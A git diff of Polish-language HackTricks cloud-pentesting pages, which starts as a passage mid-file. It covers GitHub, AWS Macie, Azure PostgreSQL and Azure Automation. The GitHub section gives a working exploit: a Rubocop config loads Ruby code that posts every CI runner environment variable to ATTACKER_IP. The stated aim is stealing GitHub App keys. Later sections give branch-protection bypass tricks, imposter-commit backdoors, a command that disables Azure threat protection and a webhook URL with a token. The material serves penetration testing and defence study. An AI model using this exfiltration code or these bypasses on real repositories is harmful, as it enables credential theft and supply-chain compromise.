narzędzia (Rubocop szuka .rubocop.yml wszędzie) + +Pliki exploita w PR: + +.rubocop.yml +```yaml +require: +- ./ext.rb +``` +ext.rb (ekstrahowanie zmiennych środowiskowych runnera): +```ruby +require 'net/http' +require 'uri' +require 'json' + +env_vars = ENV.to_h +json_data = env_vars.to_json +url = URI.parse('http://ATTACKER_IP/') + +begin +http = Net::HTTP.new(url.host, url.port) +req = Net::HTTP::Post.new(url.path) +req['Content-Type'] = 'application/json' +req.body = json_data +http.request(req) +rescue StandardError => e +warn e.message +end +``` +Również dołącz wystarczająco dużą fikcyjną aplikację Ruby (np. main.rb), aby linter rzeczywiście działał. + +Wpływ zaobserwowany w rzeczywistości: +- Pełne wykonanie kodu na produkcyjnym runnerze, który uruchomił linter +- Ekstrakcja wrażliwych zmiennych środowiskowych, w tym prywatnego klucza GitHub App używanego przez usługę, kluczy API, poświadczeń DB itp. +- Posiadając wyciekły prywatny klucz GitHub App, możesz tworzyć tokeny instalacji i uzyskać dostęp do odczytu/zapisu do wszystkich repozytoriów przyznanych tej aplikacji (zobacz sekcję powyżej na temat podszywania się pod GitHub App) + +Wytyczne dotyczące wzmacniania zabezpieczeń dla usług uruchamiających zewnętrzne narzędzia: +- Traktuj konfiguracje narzędzi dostarczone przez repozytorium jako nieufny kod +- Uruchamiaj narzędzia w ściśle izolowanych piaskownicach bez zamontowanych wrażliwych zmiennych środowiskowych +- Stosuj poświadczenia o minimalnych uprawnieniach i izolację systemu plików oraz ogranicz/odrzuć wychodzący ruch sieciowy dla narzędzi, które nie wymagają dostępu do internetu + +## Ominięcie Ochrony Gałęzi + +- **Wymagaj liczby zatwierdzeń**: Jeśli skompromitowałeś kilka kont, możesz po prostu zaakceptować swoje PR z innych kont. Jeśli masz tylko konto, z którego utworzyłeś PR, nie możesz zaakceptować swojego własnego PR. Jednak jeśli masz dostęp do środowiska **Github Action** w repozytorium, używając **GITHUB_TOKEN**, możesz być w stanie **zatwierdzić swój PR** i uzyskać w ten sposób 1 zatwierdzenie. +- _Uwaga dla tego i dla ograniczenia Właścicieli Kodów, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to wykorzystać, aby zaakceptować swoje PR._ - **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**: Jeśli to nie jest ustawione, możesz przesłać legalny kod, poczekać, aż ktoś go zatwierdzi, a następnie dodać złośliwy kod i połączyć go z chronioną gałęzią. - **Wymagaj przeglądów od Właścicieli Kodów**: Jeśli to jest aktywowane i jesteś Właścicielem Kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**. -- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza zastrzeżeń, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli Kodów nie jest stosowana.** -- **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć ochronę pull requestów. -- **Uwzględnij administratorów**: Jeśli to nie jest ustawione i jesteś administratorem repozytorium, możesz ominąć te ochrony gałęzi. +- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza błędu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli Kodów nie jest stosowana.** +- **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć zabezpieczenia pull requestów. +- **Uwzględnij administratorów**: Jeśli to nie jest ustawione, a jesteś administratorem repozytorium, możesz ominąć te zabezpieczenia gałęzi. - **Przechwytywanie PR**: Możesz być w stanie **zmodyfikować PR kogoś innego**, dodając złośliwy kod, zatwierdzając wynikowy PR samodzielnie i łącząc wszystko. -- **Usuwanie ochron gałęzi**: Jeśli jesteś **administratorem repozytorium, możesz wyłączyć ochrony**, połączyć swój PR i ponownie ustawić ochrony. -- **Ominięcie ochron przesyłania**: Jeśli repozytorium **zezwala tylko określonym użytkownikom** na przesyłanie (łączenie kodu) w gałęziach (ochrona gałęzi może chronić wszystkie gałęzie, określając symbol wieloznaczny `*`). +- **Usuwanie Ochrony Gałęzi**: Jeśli jesteś **administratorem repozytorium, możesz wyłączyć zabezpieczenia**, połączyć swój PR i ponownie ustawić zabezpieczenia. +- **Ominięcie zabezpieczeń push**: Jeśli repozytorium **zezwala tylko określonym użytkownikom** na wysyłanie push (łączenie kodu) w gałęziach (ochrona gałęzi może chronić wszystkie gałęzie, określając symbol wieloznaczny `*`). - Jeśli masz **dostęp do zapisu w repozytorium, ale nie masz pozwolenia na przesyłanie kodu** z powodu ochrony gałęzi, możesz nadal **utworzyć nową gałąź** i w jej ramach utworzyć **github action, która jest wyzwalana, gdy kod jest przesyłany**. Ponieważ **ochrona gałęzi nie będzie chronić gałęzi, dopóki nie zostanie utworzona**, to pierwsze przesłanie kodu do gałęzi **wykona github action**. -## Ominięcie ochron środowisk +## Ominięcie Ochrony Środowisk -Aby uzyskać wprowadzenie do [**Środowiska Github sprawdź podstawowe informacje**](basic-github-information.md#git-environments). +Aby uzyskać wprowadzenie do [**Github Environment, sprawdź podstawowe informacje**](basic-github-information.md#git-environments). -W przypadku, gdy środowisko może być **dostępne ze wszystkich gałęzi**, **nie jest chronione** i możesz łatwo uzyskać dostęp do sekretów wewnątrz środowiska. Zauważ, że możesz znaleźć repozytoria, w których **wszystkie gałęzie są chronione** (poprzez określenie ich nazw lub użycie `*`), w tym scenariuszu, **znajdź gałąź, w której możesz przesyłać kod** i możesz **wyeksportować** sekrety, tworząc nową github action (lub modyfikując jedną). +W przypadku, gdy środowisko może być **dostępne ze wszystkich gałęzi**, **nie jest chronione** i możesz łatwo uzyskać dostęp do sekretów wewnątrz środowiska. Zauważ, że możesz znaleźć repozytoria, w których **wszystkie gałęzie są chronione** (poprzez określenie ich nazw lub użycie `*`), w tym scenariuszu, **znajdź gałąź, w której możesz przesyłać kod** i możesz **ekstrahować** sekrety, tworząc nową github action (lub modyfikując jedną). -Zauważ, że możesz napotkać przypadek brzegowy, w którym **wszystkie gałęzie są chronione** (poprzez symbol wieloznaczny `*`), określono **kto może przesyłać kod do gałęzi** (_możesz to określić w ochronie gałęzi_), a **twój użytkownik nie ma pozwolenia**. Możesz nadal uruchomić niestandardową github action, ponieważ możesz utworzyć gałąź i użyć wyzwalacza przesyłania nad nią. **Ochrona gałęzi zezwala na przesyłanie do nowej gałęzi, więc github action zostanie wyzwolona**. +Zauważ, że możesz napotkać przypadek brzegowy, w którym **wszystkie gałęzie są chronione** (poprzez symbol wieloznaczny `*`), określono **kto może przesyłać kod do gałęzi** (_możesz to określić w ochronie gałęzi_), a **twój użytkownik nie ma pozwolenia**. Możesz nadal uruchomić niestandardową github action, ponieważ możesz utworzyć gałąź i użyć wyzwalacza push nad nią. **Ochrona gałęzi zezwala na push do nowej gałęzi, więc github action zostanie wyzwolona**. ```yaml push: # Run it when a push is made to a branch branches: @@ -212,11 +356,11 @@ Zauważ, że **po utworzeniu** gałęzi **ochrona gałęzi będzie miała zastos - Zaproś **zewnętrznych współpracowników** - **Usuń** **webhooki** używane przez **SIEM** - Utwórz/modyfikuj **Github Action** z **tylnym wejściem** -- Znajdź **wrażliwą Github Action do wstrzykiwania poleceń** poprzez modyfikację wartości **sekretu** +- Znajdź **vulnerable Github Action do wstrzykiwania poleceń** poprzez modyfikację wartości **sekretu** ### Fałszywe Commity - Tylne wejście przez commity repo -W Githubie możliwe jest **utworzenie PR do repo z forka**. Nawet jeśli PR nie jest **zaakceptowany**, identyfikator **commita** w oryginalnym repo zostanie utworzony dla wersji kodu z forka. Dlatego atakujący **może przypiąć do użycia konkretny commit z pozornie legalnego repo, które nie zostało utworzone przez właściciela repo**. +W Githubie możliwe jest **utworzenie PR do repo z forka**. Nawet jeśli PR **nie zostanie zaakceptowany**, **id commita** w oryginalnym repo zostanie utworzone dla wersji kodu z forka. Dlatego atakujący **może przypiąć się do użycia konkretnego commita z pozornie legalnego repo, które nie zostało utworzone przez właściciela repo**. Jak [**to**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml @@ -233,4 +377,12 @@ echo 'hello world!' ``` Aby uzyskać więcej informacji, sprawdź [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +## Odniesienia + +- [Jak wykorzystaliśmy CodeRabbit: od prostego PR do RCE i dostępu do zapisu w 1M repozytoriach](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/) +- [Rozszerzenia Rubocop (wymagane)](https://docs.rubocop.org/rubocop/latest/extensions.html) +- [Uwierzytelnianie za pomocą aplikacji GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app) +- [Lista instalacji dla uwierzytelnionej aplikacji](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app) +- [Utwórz token dostępu do instalacji dla aplikacji](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md index 7e8109895..15abb01e2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md @@ -1,48 +1,142 @@ # Amazon Macie -## Wprowadzenie +{{#include ../../../banners/hacktricks-training.md}} -Amazon Macie to usługa zabezpieczeń danych, która odkrywa wrażliwe dane, wykorzystując uczenie maszynowe i dopasowywanie wzorców, zapewnia widoczność ryzyk związanych z bezpieczeństwem danych oraz umożliwia automatyczną ochronę przed tymi ryzykami. +## Macie + +Amazon Macie wyróżnia się jako usługa zaprojektowana do **automatycznego wykrywania, klasyfikowania i identyfikowania danych** w ramach konta AWS. Wykorzystuje **uczenie maszynowe** do ciągłego monitorowania i analizowania danych, koncentrując się głównie na wykrywaniu i ostrzeganiu przed nietypowymi lub podejrzanymi działaniami poprzez badanie danych **cloud trail event** oraz wzorców zachowań użytkowników. + +Kluczowe funkcje Amazon Macie: + +1. **Aktywna recenzja danych**: Wykorzystuje uczenie maszynowe do aktywnej recenzji danych w miarę występowania różnych działań w ramach konta AWS. +2. **Wykrywanie anomalii**: Identyfikuje nieregularne działania lub wzorce dostępu, generując alerty w celu złagodzenia potencjalnych ryzyk związanych z ujawnieniem danych. +3. **Ciągłe monitorowanie**: Automatycznie monitoruje i wykrywa nowe dane w Amazon S3, wykorzystując uczenie maszynowe i sztuczną inteligencję do dostosowywania się do wzorców dostępu do danych w czasie. +4. **Klasyfikacja danych z NLP**: Wykorzystuje przetwarzanie języka naturalnego (NLP) do klasyfikacji i interpretacji różnych typów danych, przypisując wyniki ryzyka w celu priorytetyzacji ustaleń. +5. **Monitorowanie bezpieczeństwa**: Identyfikuje dane wrażliwe na bezpieczeństwo, w tym klucze API, klucze tajne i informacje osobiste, pomagając zapobiegać wyciekom danych. + +Amazon Macie jest **usługą regionalną** i wymaga roli IAM 'AWSMacieServiceCustomerSetupRole' oraz włączonego AWS CloudTrail do działania. + +### System powiadomień + +Macie klasyfikuje alerty w predefiniowane kategorie, takie jak: + +- Anonimizowany dostęp +- Zgodność z danymi +- Utrata poświadczeń +- Eskalacja uprawnień +- Ransomware +- Podejrzany dostęp, itd. + +Te alerty dostarczają szczegółowych opisów i analiz wyników dla skutecznej reakcji i rozwiązania problemów. + +### Funkcje pulpitu nawigacyjnego + +Pulpit nawigacyjny klasyfikuje dane w różnych sekcjach, w tym: + +- Obiekty S3 (według zakresu czasowego, ACL, PII) +- Wydarzenia/użytkownicy CloudTrail o wysokim ryzyku +- Lokalizacje aktywności +- Typy tożsamości użytkowników CloudTrail i inne. + +### Klasyfikacja użytkowników + +Użytkownicy są klasyfikowani w poziomach na podstawie poziomu ryzyka ich wywołań API: + +- **Platinum**: Wywołania API o wysokim ryzyku, często z uprawnieniami administratora. +- **Gold**: Wywołania API związane z infrastrukturą. +- **Silver**: Wywołania API o średnim ryzyku. +- **Bronze**: Wywołania API o niskim ryzyku. + +### Typy tożsamości + +Typy tożsamości obejmują Root, IAM user, Assumed Role, Federated User, AWS Account i AWS Service, wskazując źródło żądań. + +### Klasyfikacja danych + +Klasyfikacja danych obejmuje: + +- Content-Type: Na podstawie wykrytego typu treści. +- Rozszerzenie pliku: Na podstawie rozszerzenia pliku. +- Temat: Klasyfikowane według słów kluczowych w plikach. +- Regex: Klasyfikowane na podstawie określonych wzorców regex. + +Najwyższe ryzyko wśród tych kategorii określa ostateczny poziom ryzyka pliku. + +### Badania i analiza + +Funkcja badawcza Amazon Macie pozwala na niestandardowe zapytania w całych danych Macie w celu przeprowadzenia szczegółowej analizy. Filtry obejmują dane CloudTrail, właściwości koszyków S3 i obiekty S3. Ponadto wspiera zapraszanie innych kont do współdzielenia Amazon Macie, ułatwiając współpracę w zarządzaniu danymi i monitorowaniu bezpieczeństwa. ## Wyświetlanie wyników w konsoli AWS -Po przeskanowaniu konkretnego koszyka S3 w poszukiwaniu sekretów i wrażliwych danych, wyniki zostaną wygenerowane i wyświetlone w konsoli. Uprawnieni użytkownicy z wystarczającymi uprawnieniami mogą przeglądać i wyświetlać te wyniki dla każdego zadania. +Po przeskanowaniu konkretnego koszyka S3 w poszukiwaniu sekretów i wrażliwych danych, wyniki zostaną wygenerowane i wyświetlone w konsoli. Uprawnieni użytkownicy z odpowiednimi uprawnieniami mogą przeglądać i wyświetlać te wyniki dla każdego zadania. Screenshot 2025-02-10 at 19 08 08 -## Ujawnianie sekretu +## Odkrywanie sekretów -Amazon Macie oferuje funkcję, która wyświetla wykryte sekrety w formacie tekstu jawnego. Ta funkcjonalność pomaga w identyfikacji skompromitowanych danych. Jednak wyświetlanie sekretów w formacie tekstu jawnego nie jest ogólnie uważane za najlepszą praktykę ze względu na obawy dotyczące bezpieczeństwa, ponieważ może potencjalnie ujawnić wrażliwe informacje. +Amazon Macie oferuje funkcję, która wyświetla wykryte sekrety w formacie tekstu jawnego. Ta funkcjonalność pomaga w identyfikacji skompromitowanych danych. Jednak wyświetlanie sekretów w formacie tekstu jawnego nie jest ogólnie uważane za najlepszą praktykę z powodu obaw o bezpieczeństwo, ponieważ może potencjalnie ujawnić wrażliwe informacje. Screenshot 2025-02-10 at 19 13 53 Screenshot 2025-02-10 at 19 15 11 -## Enumeracja +### Enumeracja ```bash -# List and describe classification jobs -aws macie2 list-classification-jobs --region eu-west-1 -aws macie2 describe-classification-job --job-id --region eu-west-1 +# Get buckets +aws macie2 describe-buckets + +# Org config +aws macie2 describe-organization-configuration + +# Get admin account (if any) +aws macie2 get-administrator-account +aws macie2 list-organization-admin-accounts # Run from the management account of the org + +# Get macie account members (run this from the admin account) +aws macie2 list-members + +# Check if automated sensitive data discovey is enabled +aws macie2 get-automated-discovery-configuration + +# Get findings +aws macie2 list-findings +aws macie2 get-findings --finding-ids +aws macie2 list-findings-filters +aws macie2 get -findings-filters --id + +# Get allow lists +aws macie2 list-allow-lists +aws macie2 get-allow-list --id + +# Get different info +aws macie2 list-classification-jobs +aws macie2 describe-classification-job --job-id +aws macie2 list-classification-scopes +aws macie2 list-custom-data-identifiers +aws macie2 get-custom-data-identifier --id # Retrieve account details and statistics -aws macie2 get-macie-session --region eu-west-1 -aws macie2 get-usage-statistics --region eu-west-1 - -# List and manage Macie members (for organizations) -aws macie2 list-members --region eu-west-1 - -# List findings and get detailed information about specific findings -aws macie2 list-findings --region eu-west-1 -aws macie2 get-findings --finding-id --region eu-west-1 - -# Manage custom data identifiers -aws macie2 list-custom-data-identifiers --region eu-west-1 -aws macie2 get-custom-data-identifier --id --region eu-west-1 - -# List and detail findings filters -aws macie2 list-findings-filters --region eu-west-1 -aws macie2 get-findings-filter --id --region eu-west-1 - +aws macie2 get-macie-session +aws macie2 get-usage-statistic ``` +### Privesc +{{#ref}} +../aws-privilege-escalation/aws-macie-privec.md +{{#endref}} + +### Post Exploitation + +> [!TIP] +> Z perspektywy atakującego, ta usługa nie jest stworzona do wykrywania atakującego, ale do wykrywania wrażliwych informacji w przechowywanych plikach. Dlatego ta usługa może **pomóc atakującemu w znalezieniu wrażliwych informacji** w bucketach.\ +> Jednak być może atakujący mógłby również być zainteresowany zakłóceniem jej działania, aby uniemożliwić ofierze otrzymywanie powiadomień i łatwiejsze kradzież tych informacji. + +TODO: PRs are welcome! + +## References + +- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index 6c9d2277a..4c0a25536 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -9,27 +9,28 @@ Aby uzyskać więcej informacji na temat bazy danych PostgreSQL, sprawdź: ../az-services/az-postgresql.md {{#endref}} +### Użyj rozszerzenia pg_azure_storage, aby uzyskać dostęp do kont Storage + +Możliwe jest użycie rozszerzenia **`pg_azure_storage` do uzyskania dostępu do kont Azure Storage** z serwera PostgreSQL. Będzie to wykorzystywać uprawnienia zarządzanej tożsamości przypisanej do serwera, aby uzyskać dostęp do konta storage. + +Aby uzyskać więcej informacji, sprawdź tę technikę opisaną w sekcji eskalacji uprawnień: + +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} + ### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -Dzięki temu uprawnieniu możesz tworzyć nowe bazy danych w instancji Postgres Flexible Server na Azure. Chociaż ta akcja sama w sobie nie modyfikuje istniejących zasobów, nadmierne lub nieautoryzowane tworzenie baz danych może prowadzić do zużycia zasobów lub potencjalnego nadużycia serwera. +Dzięki temu uprawnieniu możesz tworzyć nowe bazy danych w instancji Postgres Flexible Server na Azure. Chociaż sama ta akcja nie modyfikuje istniejących zasobów, nadmierne lub nieautoryzowane tworzenie baz danych może prowadzić do zużycia zasobów lub potencjalnego nadużycia serwera. ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` - -Dzięki temu uprawnieniu możesz zainicjować tworzenie kopii zapasowych dla instancji Postgres Flexible Server na Azure. Umożliwia to użytkownikom generowanie kopii zapasowych na żądanie, co może być przydatne do zachowania danych w określonych momentach czasowych. -```bash -az postgres flexible-server backup create \ ---name \ ---resource-group ---backup-name -``` ### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` -Dzięki temu uprawnieniu możesz skonfigurować lub zaktualizować ustawienia Advanced Threat Protection (ATP) dla instancji Postgres Flexible Server na Azure. Umożliwia to włączenie lub wyłączenie funkcji zabezpieczeń zaprojektowanych w celu wykrywania i reagowania na anomalne działania oraz potencjalne zagrożenia. +Dzięki temu uprawnieniu możesz skonfigurować lub zaktualizować ustawienia Advanced Threat Protection (ATP) dla instancji Postgres Flexible Server w Azure. Umożliwia to włączanie lub wyłączanie funkcji zabezpieczeń zaprojektowanych w celu wykrywania i reagowania na anomalne działania oraz potencjalne zagrożenia. ```bash az postgres flexible-server threat-protection-policy update \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index fdd385d2d..8a83b9f9c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -9,7 +9,7 @@ Konta Automatyzacji Azure to usługi w chmurze w Microsoft Azure, które pomagaj ### Ustawienia - **Poświadczenia**: Hasło jest dostępne tylko w ramach runbooka w koncie automatyzacji, służą do **bezpiecznego przechowywania nazw użytkowników i haseł**. -- **Zmienne**: Służą do przechowywania **danych konfiguracyjnych**, które mogą być używane w runbookach. Mogą to być również wrażliwe informacje, takie jak klucze API. Jeśli zmienna jest **przechowywana w postaci zaszyfrowanej**, jest dostępna tylko w ramach runbooka w koncie automatyzacji. +- **Zmienne**: Służą do przechowywania **danych konfiguracyjnych**, które mogą być używane w runbookach. Mogą to być również wrażliwe informacje, takie jak klucze API. Jeśli zmienna jest **przechowywana w zaszyfrowanej formie**, jest dostępna tylko w ramach runbooka w koncie automatyzacji. - **Certyfikaty**: Służą do przechowywania **certyfikatów**, które mogą być używane w runbookach. - **Połączenia**: Służą do przechowywania **informacji o połączeniach** z zewnętrznymi usługami. Mogą zawierać **wrażliwe informacje**. - **Dostęp do sieci**: Może być ustawiony na **publiczny** lub **prywatny**. @@ -38,11 +38,11 @@ Istnieją 3 główne sposoby na wykonanie Runbooka: ### Kontrola Źródła -Pozwala na importowanie Runbooków z **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Możliwe jest wskazanie, aby publikować Runbooki repozytorium do konta automatyzacji Azure, a także możliwe jest wskazanie, aby **synchronizować zmiany z repozytorium** do konta automatyzacji Azure. +Pozwala na importowanie Runbooków z **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Możliwe jest wskazanie, aby publikować Runbooki z repozytorium do konta automatyzacji Azure, a także możliwe jest wskazanie, aby **synchronizować zmiany z repozytorium** do konta automatyzacji Azure. Gdy synchronizacja jest włączona, w **repozytorium Github tworzony jest webhook** do wyzwalania synchronizacji za każdym razem, gdy występuje zdarzenie push. Przykład adresu URL webhooka: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` -Należy pamiętać, że te webhooki **nie będą widoczne** podczas wyświetlania webhooków w powiązanych runbookach z repozytorium Github. Należy również pamiętać, że **nie można zmienić adresu URL repozytorium** kontroli źródła po jego utworzeniu. +Należy pamiętać, że te webhooki **nie będą widoczne** podczas wyświetlania webhooków w powiązanych runbookach z repozytorium Github. Należy również pamiętać, że **nie ma możliwości zmiany adresu URL repozytorium** kontroli źródła po jego utworzeniu. Aby skonfigurowana kontrola źródła działała, **Konto Automatyzacji Azure** musi mieć zarządzaną tożsamość (systemową lub użytkownika) z rolą **`Contributor`**. Ponadto, aby przypisać zarządzaną tożsamość użytkownika do Konta Automatyzacji, należy wskazać identyfikator klienta zarządzanej tożsamości użytkownika w zmiennej **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. @@ -57,32 +57,32 @@ Podczas tworzenia Runbooka można wybrać środowisko uruchomieniowe. Domyślnie - **Python 3.8** - **Python 2.7** -Jednak możliwe jest również **utworzenie własnych środowisk**, używając jednego z tych jako bazy. W przypadku Pythona możliwe jest przesyłanie pakietów `.whl` do środowiska, które będą używane. W przypadku PowerShell możliwe jest przesyłanie pakietów `.zip` z modułami, które mają być dostępne w czasie uruchomienia. +Jednak możliwe jest również **utworzenie własnych środowisk**, używając jednego z tych jako bazy. W przypadku Pythona możliwe jest przesyłanie pakietów `.whl` do środowiska, które będą używane. W przypadku PowerShell możliwe jest przesyłanie pakietów `.zip` z modułami, które mają być w runtime. ### Grupy Pracowników Hybrydowych -W Azure Automation domyślnym środowiskiem wykonawczym dla runbooków jest **Azure Sandbox**, platforma chmurowa zarządzana przez Azure, odpowiednia do zadań związanych z zasobami Azure. Jednak to środowisko ma ograniczenia, takie jak ograniczony dostęp do zasobów lokalnych oraz ograniczenia dotyczące czasu wykonania i wykorzystania zasobów. Aby przezwyciężyć te ograniczenia, stosuje się Grupy Pracowników Hybrydowych. Grupa Pracowników Hybrydowych składa się z **jednego lub więcej Hybrydowych Pracowników Runbooków zainstalowanych na Twoich własnych maszynach**, czy to lokalnych, w innych środowiskach chmurowych, czy na VM Azure. Taka konfiguracja pozwala na wykonywanie runbooków bezpośrednio na tych maszynach, zapewniając bezpośredni dostęp do lokalnych zasobów, możliwość uruchamiania dłuższych i bardziej zasobożernych zadań oraz elastyczność w interakcji z środowiskami poza bezpośrednim zasięgiem Azure. +W Azure Automation domyślnym środowiskiem wykonawczym dla runbooków jest **Azure Sandbox**, platforma w chmurze zarządzana przez Azure, odpowiednia do zadań związanych z zasobami Azure. Jednak to środowisko ma ograniczenia, takie jak ograniczony dostęp do zasobów lokalnych oraz ograniczenia dotyczące czasu wykonania i wykorzystania zasobów. Aby przezwyciężyć te ograniczenia, stosuje się Grupy Pracowników Hybrydowych. Grupa Pracowników Hybrydowych składa się z **jednego lub więcej Hybrydowych Pracowników Runbooków zainstalowanych na Twoich własnych maszynach**, czy to lokalnych, w innych środowiskach chmurowych, czy na VM Azure. Taka konfiguracja pozwala na wykonywanie runbooków bezpośrednio na tych maszynach, zapewniając bezpośredni dostęp do lokalnych zasobów, możliwość uruchamiania dłuższych i bardziej zasobożernych zadań oraz elastyczność w interakcji z środowiskami poza bezpośrednim zasięgiem Azure. Gdy tworzona jest grupa pracowników hybrydowych, należy wskazać **poświadczenia** do użycia. Istnieją 2 opcje: - **Domyślne poświadczenia**: Nie musisz podawać poświadczeń, a runbooki będą wykonywane wewnątrz VM jako **System**. -- **Specyficzne poświadczenia**: Musisz podać nazwę obiektu poświadczeń w koncie automatyzacji, które będą używane do wykonywania **runbooków wewnątrz VM**. W związku z tym w tym przypadku możliwe jest **kradzież ważnych poświadczeń** dla VM. +- **Specyficzne poświadczenia**: Musisz podać nazwę obiektu poświadczeń w ramach konta automatyzacji, które będzie używane do wykonywania **runbooków wewnątrz VM**. W związku z tym w tym przypadku możliwe jest **kradzież ważnych poświadczeń** dla VM. Dlatego, jeśli możesz wybrać uruchomienie **Runbooka** w **Hybrydowym Pracowniku**, wykonasz **dowolne polecenia** wewnątrz zewnętrznej maszyny jako **System** (fajna technika pivotowania). Ponadto, jeśli hybrydowy pracownik działa w Azure z innymi zarządzanymi tożsamościami, runbook będzie mógł uzyskać dostęp do **zarządzanej tożsamości runbooka oraz wszystkich zarządzanych tożsamości VM z usługi metadanych**. > [!TIP] -> Pamiętaj, że **usługa metadanych** ma inny adres URL (**`http://169.254.169.254`**) niż usługa, z której uzyskuje token zarządzanych tożsamości konta automatyzacji (**`IDENTITY_ENDPOINT`**). +> Pamiętaj, że **usługa metadanych** ma inny adres URL (**`http://169.254.169.254`**) niż usługa, z której uzyskuje się token zarządzanych tożsamości konta automatyzacji (**`IDENTITY_ENDPOINT`**). ### Konfiguracja Stanu (SC) > [!WARNING] -> Jak wskazano w [dokumentacji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Konfiguracja Stanu Automatyzacji Azure zostanie wycofana 30 września 2027 roku i zastąpiona przez [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). +> Jak wskazano w [dokumentacji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Konfiguracja Stanu Automatyzacji Azure zostanie wycofana 30 września 2027 roku i zastąpiona przez [Konfigurację Maszyn Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). Konta Automatyzacji wspierają również **Konfigurację Stanu (SC)**, która jest funkcją pomagającą w **konfigurowaniu** i **utrzymywaniu** **stanu** Twoich VM. Możliwe jest **tworzenie** i **stosowanie** konfiguracji DSC do **maszyn Windows** i **Linux**. -Z perspektywy atakującego było to interesujące, ponieważ pozwalało na **wykonywanie dowolnego kodu PS we wszystkich skonfigurowanych VM**, co pozwalało na eskalację uprawnień do zarządzanych tożsamości tych VM, potencjalnie pivotując do nowych sieci... Ponadto, konfiguracje mogły zawierać **wrażliwe informacje**. +Z perspektywy atakującego to było interesujące, ponieważ pozwalało na **wykonywanie dowolnego kodu PS we wszystkich skonfigurowanych VM**, co pozwalało na eskalację uprawnień do zarządzanych tożsamości tych VM, potencjalnie pivotując do nowych sieci... Ponadto konfiguracje mogły zawierać **wrażliwe informacje**. ## Enumeracja ```bash @@ -232,7 +232,13 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName -R ../az-privilege-escalation/az-automation-accounts-privesc.md {{#endref}} -## Odniesienia +## Utrzymywanie Dostępu + +{{#ref}} +../az-persistence/az-automation-accounts-persistence.md +{{#endref}} + +## Odnośniki - [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) - [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 9cf8293c0..87568974e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -29,12 +29,12 @@ Istnieją również **wbudowane role**, które można przypisać, a także możl Istnieją 4 sposoby uwierzytelniania w ACR: -- **Z Entra ID**: To jest **domyślny** sposób uwierzytelniania w ACR. Używa polecenia **`az acr login`** do uwierzytelnienia w ACR. To polecenie **zapisze dane uwierzytelniające** w pliku **`~/.docker/config.json`**. Ponadto, jeśli uruchamiasz to polecenie z środowiska bez dostępu do gniazda dockera, jak w **cloud shell**, możliwe jest użycie flagi **`--expose-token`** do uzyskania **tokena** do uwierzytelnienia w ACR. Następnie, aby się uwierzytelnić, 